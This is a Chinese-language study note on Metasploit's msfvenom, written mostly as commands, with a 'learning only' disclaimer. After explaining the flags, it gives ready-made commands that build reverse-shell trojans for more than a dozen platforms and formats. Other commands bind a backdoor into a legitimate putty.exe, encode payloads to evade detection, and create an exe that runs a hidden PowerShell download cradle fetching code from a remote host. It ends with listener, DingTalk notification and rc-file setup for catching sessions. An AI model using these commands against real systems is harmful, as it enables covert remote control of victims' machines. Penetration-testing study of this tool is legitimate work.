==注意:本篇文章仅用于学习笔记记录与交流,不得用于其他违规用途。==
一、Msfvenom介绍
msf自带的有对应各个平台生成木马的工具msfvenom,而且不需要进入msf控制台,直接在命令行输入命令即可。
二、Msfvenom参数介绍
1、-l
列出指定模块的所有可用资源 , 模块类型包括 : payloads, encoders, nops, platforms, archs, encrypt, formats, all
2、-p
指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
比如想查看windows/meterpreter/reverse_tcp支持什么平台、哪些选项,可以使用
msfvenom -p windows/meterpreter/reverse_tcp --list-options
3、-f
指定输出格式 (使用 --list formats 来获取msf支持的输出格式列表)
msfvenom --list formats
4、-e
指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload如果你想查看所有支持的编码类型 , 使用
msfvenom --list encoders
5、-a
指定payload的目标架构,例如x86 | x64 | x86_64如果你想查看所有支持的架构 , 使用
msfvenom --list archs
6、-o
指定创建好的payload的输出位置 , 没啥好说的
7、-b
设定规避字符集,指定需要过滤的坏字符例 , 一般是和生成shellcode搭配使用
8、-n
为payload预先指定一个NOP滑动长度
9、-s
设定有效攻击荷载的最大长度,就是文件大小
10、-i
指定payload的编码次数 , 后面接次数,表示编码的次数
11、-c
添加自己的shellcode , 需要自己编写shellcode
12、-x|-k
捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。
13、-v
指定一个自定义的变量,以确定输出格式
14、-t
从STDIN读取有效负载时等待的秒数(默认值为30,0表示禁用), 一般默认即可
15、-h
查看帮助信息 , 没啥好说的
三、Msfvenom生成实例
1、生成一个windows木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.159 LPORT=8804 -f exe -o /tmp/payload.exe
2、规避指定字符
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -b '\x00' -f exe -o shell.exe
-b 替换代码中会出现中断的字符
3、指定编码器
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -b 'x00' -e x86/shikata_ga_nai -f exe -o shell.exe
4、绑定后门到其他可执行程序上
msfvenom -p windows/meterpreter/reverse_http LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -x /tmp/putty.exe -k -f exe -o /tmp/puuty_bind.exe
5、Windows木马
msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o /tmp/back.exe
6、Linux木马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf -o /tmp/shell.elf
7、Mac木马
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho -o shell.macho
8、Android木马
msfvenom -a x86 --platform android -p android/meterpreter/reverse_tcp LHOST=IP LPORT=8004 R> /tmppayload.apk
9、Powershell木马
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
10、PHP木马
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o shell.php
11、ASP木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -o shell.asp
12、ASPX木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx -o shell.aspx
13、JSP木马
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o shell
14、War木马
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war -o shell.war
15、nodejs木马
msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.js
16、Bash木马
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On>-f raw -o shell.sh
17、Perl木马
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o shell.pl
18、Python木马
msfvenom -p python/meterpreter_reverse_http LHOST=IP LPORT=7878 -f raw -o shell.py
19、ruby木马
msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.rb
20、lua木马
msfvenom -p cmd/unix/reverse_lua LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.lua
21、exe利用exec执行powershell
msfvenom -p windows/exec CMD="powershell.exe -nop -w hidden -c M.proxy=[Net.WebRequest]::GetSystemWebProxy();M.downloadstring('http://IP:8080/4WFjDXrGo7Mj');" -f exe -e x86/shikata_ga_nai -i 6 -o msf.exe
22、windows shellcode
msfvenom -p windows/meterpreter/reverse_http LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f c
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c
23、linux shellcode
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c
24、mac shellcode
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c
四、MSF监听
当目标主机执行反弹木马后,会回连当前机器 ,需要设置端口监听
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.101.48 LPORT=8000 -f exe -o /tmp/payload.exe
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost IP # msf好像不支持监听本地ip , 变成0.0.0.0了
set lport 4444
run
五、MSF和钉钉联动
1、创建群
2、创建群机器人
3、复制webhook
4、msf中打开钉钉通知
5、测试
进入msf后
load -l
load session_notifier
set_session_dingtalk_webhook https://oapi.dingtalk.com/robot/send?access_token=你的token
start_session_notifier
常规监听,run
如果msf放后台
apt install screen
screen -S msf # 创建一个screen
ctrl + a + d # 回到主窗口
screen -ls # 列出所有的screen
screen -x msf # 恢复之前离线的screen作业
screen -S 名字 -X quit # kill掉一个screen
六、RC文件
如果你觉得每次 , 设置监听比较麻烦 , 你也可以将这些命令写进一个rc文件
cat handler.rc
use exploit/multi/handler
set lhost 0.0.0.0
set lport 5656
set payload windows/meterpreter/reverse_tcp
run -j
msfconsole -r handler.rc
或者一条命令监听
handler -p windows/meterpreter/reverse_tcp -H IP -P 8899